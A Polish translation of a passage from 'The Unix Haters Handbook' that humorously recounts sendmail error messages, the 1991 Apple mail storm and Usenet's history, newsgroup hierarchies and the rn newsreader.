Może to zemsta Unixa, ale dokładnie ten błąd uderzył w jednego z autorów tej książki w kwietniu 1993. Ktoś wysłał mu zakodowaną uuencode wersję PostScriptową dokumentu z konferencji. Pełne 12 linii musiało być uzupełnione ręcznie zanim uudecode odtworzył oryginalny plik.

Komunikaty błędów

System pocztowy Unixa wie że nie jest doskonały i chce ci to przekazać. Ale nigdy nie robi tego w sposób intuicyjny. Oto krótka lista komunikatów błędów często widzianych przez ludzi:

550 chiarell... User unknown: Not a typewriter

550 <[email protected]>...User unknown: Address already in use

550 [email protected] unknown: Not a bicycle

553 abingdon I refuse to talk to myself

554 “| /usr/new/lib/mh/slocal -user $USER”...unknown mailer error 1

554 “| filter -v”... unknown mailer error 1

554 Too many recipients for no message body

„Nie jestem maszyną do pisania” jest najczęstszym komunikatem błędu sendmaila. Komunikat błędu „nie jestem rowerem” to prawdopowdobnie efekt poczucia humoru jakiegoś administratora systemu. Komunikat „Za wielu odbiorców dla wiadomości bez treści” jest próbą zabawy sendmaila w Wielkiego Brata. Myśli że wie lepiej niż proletariackie masy i nie wyśle wiadomości składającej się tylko z tematu.

Wniosek jest prosty: jesteś szczęśliwcem jeśli w ogóle dostajesz pocztę albo jeśli wiadomości które wysyłasz są dostarczane. Fanatycy Unixa którzy myślą że systemy pocztowe są złożone i trudne do poprawnego ustawienia są w błędzie. Poczta działała, i to całkiem niezawodnie. Wszystko było dobrze z systemami pocztowymi dopóki nie pojawił się Unix i nie zepsuł wszystkiego w imię „postępu”.

Date: Tue, 9 Apr 91 22:34:19 -0700From: Alan Borning <[email protected]>To: UNIX-HATERSSubject: the vacation program

Wyjechałem na konferencję tydzień temu I zdecydowałem spróbować być Unixowym świrem i ustawić wiadomość „vacation”. Powinienem był wiedzieć lepiej.

Program „vacation” ma typowy interfejs Unixa (wymaga utworzenia pliku .forward z mroczną inkantacją w środku, pliku .vacation.msg z wiadomością

63

Page 64: Unix Haters Handbook

wewnątrz itd.). Była tam także opcja inicjalizacyjna –1 której nie mogłem zmusić do działania, która rzekomo miała przetrzymywać odpowiedzi przez tydzień na nadawcę. Zdecydowałem się przetestować to wysyłając samemu wiadomość, myśląc że na pewno pozwolili na to i nie będę w nieskończoność dostawał wiadomości „vacation”. Wiadomość testowa, szybki rzut oka do skrzynki, jest, 59 wiadomości. Cóż. Widocznie działa.

Jednakże naprawdę nieprzyjemną rzeczą tego programu jest standardowy format wiadomości vacation. Z manualu:

From: [email protected] (Eric Allman)Subject: I am on vacationDelivered-By-The-Graces-Of: the Vacation program…

W zależności od teologii i polityki, wiadomość mogła być dzięki łaskawości jakiegoś boga albo osoby królewskiej – ale nigdy dzięki łaskawości Unixa. Cała ta koncepcja to oksymoron.

Katastrofa pocztowa w Apple w 1991

W swoim dokumencie USENIX z 1985, Eric Allman napisał że sendmail jest fenomenalnie niezawodny ponieważ każda wiadomość która jest zaakceptowana jest dostarczona do odbiorcy, zwrócona do nadawcy, wysłana do systemowego postmastera, wysłana do użytkownika root albo w najgorszym razie zapisana do pliku. Allman stwierdził że „Główną częścią niezawodności jest koncepcja odpowiedzialności.”. Dalej kontynuuje:

Na przykład, zanim sendmail zaakceptuje wiadomość (przez zwrócenie statusu wyjściowego albo wysłanie kodu odpowiedzi) upewnia się, że cała informacja konieczna do dostarczenia wiadomości jest zapisana na dysku. W ten sposób sendmail „akceptuje odpowiedzialność” za dostarczenie wiadomości (albo zawiadomienia o niedostarczeniu). Jeśli wiadomość jest zgubiona przed akceptacją, jest to „wina” wysyłającego; jeśli jest zgubiona po akceptacji, jest to „wina” odbierającego sendmaila.

Ten algorytm powoduje istnienie okna, w którym zarówno nadawca jak i odbiorca są „odpowiedzialni” za daną wiadomość. Jeżeli jakiś błąd nastąpi w czasie tego okna, dostarczone zostaną dwie kopie wiadomości. To zwykle nie jest katastroficzna okoliczność, i jest daleko lepsza niż zgubienie wiadomości.

Wybór projektowy dostarczenia dwóch kopii wiadomości zamiast żadnej faktycznie jest dużo lepszy w większości przypadków. Na pewno stracony list jest złą rzeczą. Z drugiej strony, techniki gwarantujące synchroniczne, atomowe operacje nawet dla procesów działających na dwóch różnych komputerach, były znane i zrozumiałe w 1983 kiedy sendmail był pisany.

Date: Thu, 09 May 91 23:26:50 -0700From: “Erik E. Fair” (Your Friendly Postmaster) <[email protected]>To: [email protected], [email protected], [...]Subject: Case of the Replicated Errors: An Internet Postmaster’s Horror Story

Oto sieć: Apple Engineering Network.

64

Page 65: Unix Haters Handbook

Ta sieć ma ponad 100 podsieci IP, 224 strefy AppleTalk i ponad 600 sieci AppleTalk. Rozciąga się od Tokio do Paryża, ma pół tuzina lokacji w USA i 40 budynków w Dolinie Krzemowej. Jest połączona z Internetem w trzech miejscach: dwóch w Dolinie Krzemowej i jednym w Bostonie. Obsługuje prawie 10000 użytkowników codziennie.

Kiedy źle dzieje się z pocztą w tej sieci, to mój problem.Nazywam się Fair. Noszę odznakę.Historia, którą przeczytacie jest prawdziwa. Nazwy nie zostały zmienione aby

wskazać winnych.To był wczesny wieczór w poniedziałek. Pracowałem na zmianie w

Engineering Computer Operations pod dowództwem Richarda Herndona. Nie ma partnera.

Kiedy czytałem swoją pocztę tego wieczoru, stwierdziłem że średni load na apple.com, naszym VAX-8650, wspiął się ze swojego zwykłego poziomu na ponad 72.

W trakcie dochodzenia stwierdziłem że tysiące serwerów Internetowych próbuje wysłać nam wiadomość błędu. Znalazłem także ponad 2000 kopii tego komunikatu w kolejce.

Natychmiast wyłączyłem demon sendmaila który zapewniał SMTP na naszym VAX-ie.

Przeanalizowałem wiadomość o błędzie i zrekonstruowałem następującą sekwencję wydarzeń:

Wielu użytkowników używa QuickMail, popularny system pocztowy dla Macintosha od CE Software. Aby zapewnić tym użytkownikom możliwość komunikacji z innymi, którzy wybrali inne systemy pocztowe, ECO wspomaga QuickMail jako bramkę e-mailową do Internetu. Używamy formatu poczty Internetowej zgodnej z RFC822 i SMTP zgodnego z RFC821 jako powszechnego pośredniego standardu r-mail, i bramkujemy wszystko co się da do tego standardu aby promować wzajemną współpracę.

Bramka używana przez nas do tego celu to MAIL*LINK SMTP od Starnine Systems. Ten produkt znany jest także jako GatorMail-Q od Cayman Systems. Zapewnia bramkowanie dla wszystkich 3500 użytkowników QuickMaila w Apple Engineering Network.

Wielu naszych użytkowników subskrybuje poprzez QuickMail Internetowe listy mailowe, które są dostarczane do nich przez bramkę. Jeden z użytkowników, Mark E. Davis jest zapisany na listę [email protected], gdzie dyskutują nad alternatywami do ASCII.

W poniedziałek odpowiedział na wiadomość którą otrzymał z listy mailowej. Napisał paragraf komentarza do oryginalnej wiadomości i nacisnął przycisk „wyślij”.

Gdzieś w procesie tej odpowiedzi, QuickMail albo MAIL*LINK SMTP zepsuły pole „To:” wiadomości. Istotne jest że pole „To:” zawierało tylko znak „<” bez odpowiadającego mu znaku „>”. Ta mała różnica spowodowała masywne zniszczenia, ponieważ oddziaływała razem z błędem sendmaila.

Zwróć uwagę, że błąd składni w polu „To:” nie ma nic do rzeczy z listą odbiorców, która jest obsługiwana oddzielnie i która w tym przypadku była całkowicie poprawna.

Wiadomość wydostała się z Apple Engineering Network do Sun Microsystems, gdzie eksplodowała do wszystkich odbiorców listy mailowej [email protected].

Sendmail, spornie standardowy demon SMTP i serwer poczty Unixa, nie lubi jeśli pole „To:” jest skonstruowane w sposób taki jak powyżej. Prawdziwym

65

Page 66: Unix Haters Handbook

problemem jest to, co robi z tym: wysyła komunikat błędu z powrotem do nadawcy wiadomości i dostarcza oryginalną wiadomość do wyszczególnionych odbiorców listy.

To jest śmiertelne.W rezultacie każdy demon sendmaila na każdym serwerze dotkniętym złą

wiadomością wysłał do nas komunikat błędu. Często boję się możliwości że pewnego dnia każdy serwer w Internecie będzie chciał wysłać nam wiadomość, wszystkie naraz.

W poniedziałek mieliśmy próbkę tego, jak mogłoby to wyglądać. Nie wiem, jak wielu ludzi jest zapisanych na listę [email protected], ale

rozmawiałem z postmasterami ze Szwecji, Japonii, Korei, Australii, Brytanii, Francji i całych USA. Podejrzewam że lista ma co najmniej 200 użytkowników, z czego ponad 25% to serwery UUCP które są MX-owane w Internecie.

Zniszczyłem ponad 4000 kopii komunikatu błędu w naszych kolejkach w Apple Computer.

Kiedy wyłączyłem nasz demon SMTP, nasz drugorzędny serwer MX został powalony. Mamy drugorzędny serwer MX tak że kiedy nasz nie działa, ktoś inny zbiera naszą pocztę w jednym miejscu i dostarcza nam w porządny sposób, zamiast atakowania nas przez każdy serwer mający wiadomość do nas w tej samej sekundzie, w której nasz serwer zostanie włączony.

Nasz drugorzędny serwer MX ro CSNET Relay (relay.cs.net i relay2.cs.net). Zniszczyli około 11000 kopii komunikatu błędu na tych dwóch maszynach. Ich postmaster był na końcu rozumu kiedy rozmawiałem z nim. Chciał wiedzieć, co uderzyło w ich serwery.

Wyglądało na to, że na każdy serwer któremu udało się skontaktować z apple.com i dostarczyć kopię komunikatu błędu przypadały trzy serwery które nie mogły się z nami połączyć ponieważ byliśmy przeciążeni całą tą pocztą, więc skontaktowali się z CSNET Relay.

Słyszałem także z CSNET-u że UUNET, główny serwer MX dla wielu innych serwerów, zniszczył 2000 kopii komunikatu błędu. Podejrzewam że ich modemy były bardzo zajęte dostarczaniem kopii komunikatu błędu z dalszych miejsc UUCP do Apple Computer.

Ten konkretny problem został w tym momencie rozwiązany, ale ciągle spędzam dużo czasu odpowiadając na listy postmasterów z całego świata.

Następnego dnia zamieniłem obecną wersję MAIL*LINK SMTP beta wersją ich następnego wydania. Jak dotąd nie przejawia błędu psucia nagłówka.

Końcowy rozdział tego horroru jeszcze pozostał do napisania.Wersje sendmaila tak się zachowujące ciągle są na setkach tysięcy

komputerów, czekając na kolejną szansę na zagrzebanie jakiegoś nieszczęśliwego serwera w komunikatach błędu.

Może będziesz następny?

Erik E. [email protected]

66

Page 67: Unix Haters Handbook

Rozdział 5: Snoozenet

Piszę, więc jestem.

„Usenet jest dołem kloacznym, kupą łajna”.

- Patrick A. Townson

Mówiono nam, że superautostrada informacyjna jest tuż za rogiem. Pomimo tego, ciągle musimy radzić sobie z powolnymi śmieciarkami zatykającymi arterie autostrady. Te wyładowane śmieciami wehikuły to pakiety NNTP i skompresowane pliki UUCP, wysyłając codziennie nieopisane gigabajty śmieci. Cały ten śmietnik jest znany razem jako Usenet.

Netnews i Usenet: anarchia rośnie

W końcu lat 70., dwóch absolwentów uczelni w Nowej Karolinie ustanowiło połączenie telefoniczne pomiędzy maszynami na ich uniwersytetach (UNC i Duke) i napisało skrypt shellowy do wymiany wiadomości. W przeciwieństwie do poczty, wiadomości były przechowywane w publicznym obszarze gdzie każdy mógł je przeczytać. Wysłanie wiadomości z jakiegokolwiek komputera powodowało wysłanie kopii do każdego systemu w sieci.

Oprogramowanie zostało nazwane „news”, ponieważ intencją było aby ludzie (zwykle absolwenci) na większości serwerów Unixowych (zwykle uniwersytetów) mogli ogłosić swoją najnowszą kolekcję przeróbek i łat. W większości były to kody źródłowe programów news-owych, w ten sposób wirus był propagowany. Po pewnym czasie termin „netnews” wszedł do użycia, następnie „Usenet” i jego przeróbki (jak „Abusenet”, „Lusenet”, „Snoozenet” i „Sieć miliona kłamstw”).

Sieć rozrastała się – więcej serwerów, więcej ludzi, więcej wiadomości. Podstawowym problemem z Usenetem była skalowalność. Za każdym razem kiedy nowy serwer pojawiał się w sieci, każda wiadomość wysłana przez kogokolwiek na tym serwerze była automatycznie kopiowana do każdego innego komputera w tej sieci. Jeden z komputerów w New Hampshire podobno miał pięciocyfrowy miesięczny rachunek telefoniczny zanim DEC zmądrzało i wyłączyło go.

Wygórowane koszty były łatwo maskowane jako ryczałt, zwiększając masywne wydatki na komputery w latach 80. Około tego czasu grupa hackerów wymyśliła protokół do transmitowania Usenetu przez Internet, który był całkowicie subsydiowany przez deficyt federalny. Zwiększyła się pojemność i Usenet zaczął naprawdę przypominać milion małp piszących bez końca na całym globie. We wczesnym 1994, istniało szacunkowo 140000 serwerów z 4.6 milionami użytkowników generujących 43000 wiadomości dziennie.

Obrońcy Usenetu mówią, że jest wielkim zjednoczeniem opartym na współpracy. Nie mówią tylko że jest także oparty na [name-calling], nękaniu i listowych bombach.

Śmierć przez email

67

Page 68: Unix Haters Handbook

Jak sieć oparta na anarchii utrzymuje wewnętrzny porządek? Rządy motłochu i publiczne lincze. Popatrzmy:

Date: Fri, 10 Jul 92 13:11 EDTFrom: [email protected]: Splitting BandyHairs™ on LuseNetTo: VOID, FEATURE-ENTENMANNS, UNIX-HATERS

Grupa dyskusyjna news.admin.newsgroup została ostatnio sparaliżowana (nie chcę powiedzieć że kiedykolwiek było inaczej) przez rozwlekłą kłótnię w której uczestniczył [email protected], który może być niektórym z was znany.

Najwyrażniej próbował ograniczyć ilość szumu w Lusenecie przez implementację programu który unieważniałby artykuły wysłane także na alt.cascade. „Kaskada” jest eufemistycznym określeniem sekwencji wiadomości cytujących poprzednie wiadomości bez albo z niewielkim komentarzem; wynikowy powtarzalny początek, bryłka idiotyzmu i kończący fragment jest ewidentnie ulubiony przez niektórych typograficznie ograniczonych ludzi. Większość z nas po prostu dodaje sprawcę do naszych kill-files.

Żałosna implementacja Bandy’ego tej (spornie istotnej) idei zawierała niezbyt subtelny błąd powodujący, że zaczęło się unieważnianie artykułów które nie były kaskadami i zanim ktokolwiek zdążył to wyłączyć zniknęło około 400 bezcennych klejnotów mądrości sieciowej.

Przyznał się do błędu w wiadomości wysłanej na listę mailową nntp-managers (która pozostaje „kabałą” Usenetu) ale ciągle rozlegały się żądania „publicznych przeprosin”. Ktoś sprytnie przekazał jego wiadomość z nntp-managers do news.admin (która zawierała jego adres sieciowy) i ktoś (niewątpliwie próbujący zapobiec możliwemu bombardowaniu tego adresu) zaczął unieważniać wszystkie artykuły w których wymieniono ten adres.... Krzyki stały się ogłuszające, żelazne starcia metafor są muzyką dla uszu prawdziwego znawcy sieciowej psychologii.

Wszystko razem jest klasycznym przykładem Unixowej i Usenetowej głupoty: idiotyzm sprzężony z idiotyzmem w nieskończonej spirali. Z przykrością muszę (publicznie) przyznać, że uległem pokusie wciśnięcia swoich trzech groszy:

Newsgroups: news.adminSubject: Splitting BandyHairs™Distribution: world

Cieszę się, że mamy nntp-managers dla bardziej lub mniej rozsądnych dyskusji o problemach funkcjonowania netnews. Ale tak długo jak marnujemy czas i przepustowość na tutaj na news.admin:

Ludzie którzy znają sprawcę wiedzą także że był... powiedzmy, impulsywny w przeszłości. I zapłacił drogo za swoją brawurę. Został wystarczająco ukarany. (Co, myślisz że siedzenie w wannie wrzeszcząc „Bądź ostrożny z tym ostrzem X-Acto!” nie jest wystarczającą karą? Za cokolwiek?) Niektórzy mówią że ten paskudny epizod powinien pozostać nie zapisany (nawet przez ACM – szczególnie przez ACM)...

Ludzie narzekają na „leniwych albo nieuważnych administratorów”. Jeden rzut oka na news.admin i można natychmiast zrozumieć dlaczego to wszystko jest głównie stratą czasu.

68

Page 69: Unix Haters Handbook

Nic w Lusenecie nie jest konkretne, pomimo że Bandy został [plastered]. Kto jest bez winy, niech pierwszy rzuci kamieniem.

- nick

Grupy dyskusyjne

Jak dotąd nie powiedzieliśmy czym jest Usenet i nie powiedzieliśmy jak stwierdzić, czy komputer jest czy nie jest jego częścią. Nie zrobiliśmy tego ponieważ tak naprawdę nikt nie może tego powiedzieć. Najlepsza definicja może być taka: jeśli w jakiś sposób czytasz grupy dyskusyjne i możesz pisać wiadomości które inni mogą czytać, jesteś częścią Usenetu. Raz jeszcze, analogia do wirusa przychodzi na myśl: jeśli raz go dotkniesz jesteś zarażony o możesz roznosić infekcję.

Czym jest grupa dyskusyjna? Teoretycznie, grupy dyskusyjne są Systemem Dziesiętnym Deweya dla Usenetu. Grupa dyskusyjna to zespół wyrazów (lub powszechnych skrótów) rozdzielonych kropkami czytanych od lewej do prawej. Na przykład misc.consumers.house to grupa dyskusyjna ludzi posiadających lub chcących kupić dom, a sci.chem.organomet jest dla dyskusji o chemii metaloorganicznej, cokolwiek to jest. Najdalsza lewa część nazwy jest nazwana hierarchią lub czasem hierarchią najwyższego rzędu. Usenet jest międzynarodowy, i podczas gdy większość grup ma nazwy angielskie, można czasem natrafić na nazwy typu finet.freenet.oppimiskeskus.ammatilliset.oppisopimus.

Przy okazji, pierwsza kropka w nazwach jest wymawiana tak że „comp.foo” jest wymawiane jako „comp-dot-foo”. W wiadomościach często skraca się części nazwy do pojedyńczych liter jeśli kontekst jest jasny, tak więc np. comp.sources.unix może być skrócone do „c.s.u”.

Sekcja Usenetu nazwana „alt” jest jak regał „różne” w księgarni albo sekcja otwartych półek w bibliotece firmowej – nigdy nie wiesz co tam można znaleźć i rzadko ma to jakąś wartość. Na przykład fan Muppetów ze skrzywionym poczuciem humoru kiedyś założył alt. swedish.chef.bork.bork.bork. Co jest typowe dla Unixowych świrów, spodobał im się wzór i można teraz znaleźć następujące grupy:

alt.alien.vampire.flonk.flonk.flonkalt.andy.whine.whine.whinealt.tv.dinosaurs.barney.die.die.diealt.biff.biff.bork.bork.borkalt.bob-packwood.tongue.tongue.tonguealt.tv.90210.sucks.sucks.sucksalt.american.automobile.breakdown.breakdown.breakdown

Jak widzicie, ten żart raczej szybko się zużył. Nie powstrzymuje to jednak nikogo w Usenecie.

Wyrzucanie hierarchii

Usenet miał oryginalnie dwie hierarchie, net i fa. Źródła terminu „net” są nieznane. Termin „fa” pochodził od „from ARPANET” i był sposobem otrzymywania niektórych najbardziej popularnych list mailowych ARPANETu jako netnews. Grupy „fa” były specjalne ponieważ tylko jeden serwer (przeciążony DEC VAX w UCB który był główną bramą wydziału nauk komputerowych do ARPANETu) miał autoryzację do wysyłania wiadomości. Ta koncepcja stała się bardzo użyteczna, tak więc póżniejsze wydanie Usenetu przemianowało hierarchię fa na mod, gdzie „mod” pochodził od moderowania. Programy

69

Page 70: Unix Haters Handbook

zostały zmieniona były przekazywały wiadomości wysłane na grupę moderowaną do moderatora grupy (określonego w pliku konfiguracyjnym) który czytał wiadomość, sprawdzał ją do pewnego stopnia i odsyłał z powrotem. Odsyłając moderator dodawał nagłówek mówiący „Zaaprobowane” z pewną ilością tekstu, zwykle adresem moderatora. Oczywiście ktokolwiek mógł podrabiać artykuły na grupach moderowanych. To nie zdarzało się jednak zbyt często właśnie dlatego, że było takie łatwe: nie jest wyzwaniem włamać się do sejfu jeśli kombinacja jest zapisana na drzwiach. Grupy moderowane były pierwszą bliską integracją poczty i grup; mogą być traktowane jako pierwsze wahające się pełzacze na informacyjnej superautostradzie.

Termin „net” pojawiał się w dyskusjach Usenetowych i wytworzył nieformalny system kastowy. Zwykli ludzie, nazwani „net.folk” albo „net.denizens” którzy głównie czytali i czasami pisali artykuły, zajmowali najniższy szczebel. Ludzie dobrze znani ze szczególnie wnikliwych, wstrętnych albo płodnych artykułów zostali nazwani „net.personalities”. Na najwyższym szczeblu byli „net.gods” albo „net.wizards” którzy mieli wyczerpującą wiedzę o tematach dyskutowanych na grupie. Net.gods byli także tymi którzy mogli spowodować zajście wielkich rzeczy, dlatego że pomagali pisać oprogramowanie Usenetu albo dlatego że u nich działały ważne miejsca Usenetu. Podobnie jak bogowie z mitologii, „net.gods” byli zwykle na uboczu, odmawiając odpowiedzi (któryś raz z kolei) na pytania, mogli także być zadrośni albo małostkowi. Często wycofywali się z uczestnictwa w Usenecie w [snit] i często wyglądali na przymuszonych do robienia z tego publicznej sprawy. Większości ludzi to nie obchodziło.

Wielkie Przemianowanie

W miarę jak coraz więcej serwerów dołączało się do sieci i tworzono więcej grup, schemat net/mod upadł. Serwer który chciał odbierać tylko grupy techniczne był zmuszony do wyraźnego sprecyzowania ich listy, co wymagało bardzo długich linii w plikach konfiguracyjnych. Nie jest niespodzianką (zwłaszcza jeżeli czytasz tą książkę dokładnie i po kolei zamiast przekartkowywać ją w księgarni) że często pliki te przekraczały wbudowane limity w Unixowych narzędziach które je przetwarzały.

We wczesnych latach 80 Rick Adams zaadresował sytuację. Przestudiował listę aktualnych grup i podobnie jak współczesny Linneusz sklasyfikował je w „wielką siódemkę” która jest używana dzisiaj:

comp Dyskusje o komputerach (sprzęt, programy itp.)news Dyskusje o Useneciesci Dyskusje naukowe (chemia itp.)rec Dyskusje rekreacyjne (TV, sporty itp.)talk Dyskusje polityczne, religijnesoc Zagadnienia społeczne, jak kulturamisc Wszystko pozostałe

Zauważalnie nieobecny był „mod”, nazwa grupy nie wskazywała dłużej czy grupa jest moderowana, ponieważ dla czytelnika wszystkie wyglądały tak samo. Proponowane zmiany były tematem dyskusji w owym czasie. (To typowe dla Usenetu: WSZYSTKO jest tematem dyskusji w jakimś momencie.) Oczywiście programy musiały znów zostać zmienione, ale wszystko było w porządku: Rick zajmował się także ich utrzymywaniem. Większym tematem dyskusji było tak zwane „talk getto”. Wiele grup typu „duża objętość – mała treść” zostały przeniesione do kategorii talk. (Typowe streszczenie grupy net.abortion mogło być następujące: „aborcja jest zła / nie nie jest / tak jest / nauka nie jest zła / to jest istota ludzka /

70

Page 71: Unix Haters Handbook

nie nie jest...” i tak dalej). Użytkownicy protestowali że administratorom zbyt łatwo pozbyć się tych grup. Oczywiście – o to chodziło! W tym czasie większość Europy była połączona z USA poprzez telefoniczne łącza dalekiego zasięgu i ludzie powiedzmy w Skandynawii nie byli zainteresowani czytaniem lub uczestniczeniem w dyskusji Roe vs. Wade.

Pomimo że wyglądało to na kolejną krótkowzroczną, tymczasową, typowo Unixową łatę i pomimo obiekcji użytkowników Usenet był kontrolowany przez Unixowo myślących adminów i zmiany zaszły. Wszystko poszło zadziwiająco łatwo, większość przeprowadzono w kilka tygodni. (Nie było jasne gdzie wszyscy powinni iść. Po kłótni co do umieszczenia grupy zajmującej się akwariami, wykiełkowały dwie grupy – sci.aquaria i rec.aquaria.) Dla osób które się nie zgadzały programy na głównych serwerach po cichu przepisywały artykuły tak, aby postępować zgodnie z nową organizacją. Ten gruntowny przegląd nazw został nazwany Wielkim Przemianowaniem.

Terminy typu „net.god” ciągle są używane, chociaż głównie w starszych rękach. W naszych niegrzecznych i brutalnych czasach można częściej zobaczyć terminy typu „net.jerk”.

Alt.ogromna.klotnia

W czasie Wielkiego Przemianowania, Brian Reid był moderatorem grupy nazwanej „mod.gourmand”. Ludzie z całego świata wysyłali ich ulubione przepisy do Briana, który oceniał je i wysyłał na grupę w spójnym formacie. Zapewnił także skrypty do zapisywania, składu i indeksowania przepisów tym samym tworząc na grupie osobistą książkę kucharską. Około 500 przepisów zostało opublikowanych. W nowym systemie mod.gourmand stało się „rec.food.recipes” i Brian nienawidził tej prozaicznej nazwy. John Gilmore nie lubił nieobecności niemoderowanej grupy z kodami źródłowymi – ludzie nie mogli publikować kodów, wszystko musiało przechodzić przez pośrednika. Brian i John połączyli się z innymi adminami i stworzyli „alt”, od alternatywnej, hierarchię. Jak można było się spodziewać, zaczęło się od stron w San Francisco Bay Area, tym siedlisku radykalizmu i fermentu w latach 60. Tak więc alt.gourmand i alt.sources zostały utworzone. Główną regułą w „alt” jest to, że każdy może założyć grupę i anarchia (w najprawdziwszym sensie) króluje: każdy serwer decyduje co przyjąć.

Usenet stał się parodią samego siebie. W tym przypadku książka kucharska Usenetu nie pojawiła się w rec.food.recipes i Brian przestał moderować alt.gourmand całkiem szybko. Może przeszedł na dietę? Podobnie jak w przypadku alt.sources, gdzie ludzie narzekali że artykuły nie zawierają „oficjalnych” nazw archiwów, opisów, Makefiles i tak dalej. Alt.sources stało się klonem moderowanej grupy którą chciano ominąć. W międzyczasie alt.aquaria i alt.clearing.aquaria dały więcej forów dla właścicieli akwariów do gromadzenia się.

Ta autostrada informacyjna potrzebuje informacji

Z wyjątkiem kilku szturchnięć Unixa zrelacjonowaliśmy tą historię beż żadnego realnego krytykowania Unixa. Dlaczego byliśmy tacy mili? Ponieważ, fundamentalnie, Usenet nie zależy od technologii ale od socjologii. Nawet gdyby Unix dał użytkownikom lepszą technologię dla prowadzenia międzynarodowych dyskusji efekt byłby ten sam. Potwierdza to Prawo Sturgeona mówiące że 90% na każdym polu to śmiecie.

Niezbędną ale niestety niewystarczającą okolicznością dla przyzwoitego stosunku sygnału do szumu na grupie dyskusyjnej jest moderator który prześwietla wiadomości. Bez tej prostej okoliczności anonimowość sieci redukuje poza tym racjonalne istoty (cóż, przynajmniej komputerowo edukowane istoty) do poziomu sześciolatków dla których apogeum dyskusji to „Nie jestem, jesteś, nie jestem, jesteś...”

71

Page 72: Unix Haters Handbook

Demografia edukacji komputerowej i co bardziej istotne dostępu do Usenetu są odpowiedzialne za większość strat. Większość piszących to studenci nauk lub inżynierii którzy rzadko mają wiadomości lub dojrzałość do prowadzenia publicznej rozmowy. Mają oni poza tym o wiele za dużo wolnego czasu.

Grupy dyskusyjne z dużą ilością szumu rzadko utrzymują subskrybentów którzy mogliby dodać konstruktywną wartość do grupy. Efektem jest polaryzacja grup: te z małym ruchem i dużą ilością treści i te z dużym ruchem i małą treścią. Polaryzacja jest czasami pełzającą siłą powodującą zmniejszanie poziomu dyskusji do najmniejszego wspólnego mianownika. W miarę jak zauważona jest jakość danej grupy, dołącza się więcej ludzi – najpierw jako czytelników, potem jako piszących.

Bez moderatora albo jasno określonych i wąskich zasad jak w przypadku wielu grup nie-alt, wartość wiadomości nieuchronnie spada. Po kilku kłótniach nowa grupa jest tak samo zła jak stara. Usenet parodiuje samego siebie. Oryginalni członkowie grupy odchodzą aby utworzyć inną grupę albo listę mailową. Dopóki nie mają specjalnego interesu w utrzymaniu listy prywatnie (na przykład przez niewpisywanie jej na listę list) lista szybko się rozrośnie i przekroczy próg kiedy ma sens przekształcenie się w grupę i cały błędny krąg się powtarza.

rn, trn: masz za co zapłaciłeś

Jak większość oprogramowania Usenetowego, programy których ludzie używają do czytania i pisania wiadomości są dostępne jako darmowo rozprowadzalne kody źródłowe. Ten sposób jest w dużym stopniu wygodny dla części autorów:

- Jest dużo łatwiej pozwolić innym ludziom na poprawianie błędów i poprawianie kodu; można nawet odwrócić kota ogonem i opowiadać jaką to cnotą jest opublikowanie kodu.

- Unix nie jest standardowy u biedny autor nie ma żadnych szans na napisanie kodu który by „po prostu działał” na każdym Unixie.

- Nawet gdyby udało się żeby jeden zestaw źródeł działał wszędzie, różne kompilatory C i biblioteki zapewniają, że skompilowane pliki nie zadziałają gdziekolwiek indziej poza maszyną na której zostały zbudowane.

Wczesne wersje oprogramowania Usenetu zawierały proste programy do czytania artykułów. Te programy, readnews i rna były tak proste, że nie ma sensu o nich szerzej dyskutować.

Najpopularniejszym czytnikiem grup dyskusyjnych może być rn, napisany przez Larry’ego Walla. Dokumentacja rn deklaruje że „nawet jeśli nie jest szybszy, wydaje się że jest”. rn zmienił paradygmat czytnika grup dyskusyjnych poprzez wprowadzenie killfiles („mordplików”). Za każdym razem kiedy rn czyta grupę dyskusyjną, czyta także killfile jaki utworzyłeś dla danej grupy (jeśli istnieje) zawierający linie z wzorami i akcjami do podjęcia. Wzory są wyrażeniami regularnymi. (Oczywiście są podobne do shellowych i niestety patrząc na nie nie można ich między sobą rozróżnić).

Killfiles pozwalają czytelnikom stworzyć własne mini-wyspy Usenetu wewnątrz bełkocącej całości. Na przykład jeżeli ktoś chciałby czytać tylko ogłoszenia ale nie odpowiedzi, może wpisać „/Re:.*/” do killfile. To może powodować problemy jeśli rn nie był ostrożny wobec „podchwytliwych” tematów.

Date: Thu, 09 Jan 1992 01:14:34 PSTFrom: Mark Lottor <[email protected]>To: UNIX-HATERS

72

Page 73: Unix Haters Handbook

Subject: rn kill

Próbowałem złapać kilkaset nieprzeczytanych wiadomości na grupie używając rn. Oglądałem nagłówek i jeśli temat nie był interesujący wciskałem „k”aby wywołać komendę „kill”. To powoduje „oznacz temat <foo> jako przeczytany” i zaznacza wszystkie nieprzeczytane wiadomości z tym samym tematem jako przeczytane.

Tak więc co się zdarzyło... Zobaczyłem wiadomość z tematem „*******” i wcisnąłem „k”. Tak - WSZYSTKIE wiadomości zostały zaznaczone jako przeczytane. Nie ma możliwości cofnięcia. Totalna porażka. Znów spieprzyłem.

- mkl

Komendy w rn są jednoliterowe, co jest podstawowym problemem. Ponieważ jest tak wiele komend niektóre z przydziałów nie mają sensu. Dlaczego „f” wysyła „followup” i co właściwie znaczy „followup”? Ktoś może użyć „r” aby wysłać odpowiedź, ale to oznacza wysłanie odpowiedzi bezpośrednio do autora wiadomości. Nie można użyć „s” dla poczty ponieważ to oznacza zapisanie pliku i nie można użyć „m” ponieważ to oznacza „zaznacz artykuł jako nieprzeczytany”. I kto rozszyfruje ten żargon żeby się zorientować o co naprawdę chodzi? Albo kto tak naprawdę zapamięta różnicę pomiędzy „k”, „K”, „^K”, „.^K” i tak dalej?

Nie ma trybu „verbose”, pomoc nigdy nie jest kompletna i nie ma języka skryptowego. Z drugiej strony, „naprawdę wydaje się szybszy”.

Tak jak wszystkie programy, rn ma swój udział błędów. Larry wprowadził pomysł rozprowadzania poprawek używając sformalizowanej wiadomości zawierającej wyjście z „diff”. W ten sposób mówił: oto jak mój naprawiony kod rózni się od twojego zepsutego. Larry napisał także patch, który łączył stary plik i opisy zmian tworząc nowy plik. Za każdym razem kiedy Larry wypuszczał oficjalną łatę (były też różne nieoficjalne wypuszczane przez „pomocnych” ludzi), na całym świecie aplikowano łatę i rekompilowano kopie rn.

Remote rn, wariant rn, czyta artykuły poprzez sieć. Jest interesujący tylko dlatego, że wymagał od adminów utrzymywania dwóch prawie identycznych programów i ponieważ wszyscy brzmieli jak foki kiedy wymawiali jego nazwę, rrn.

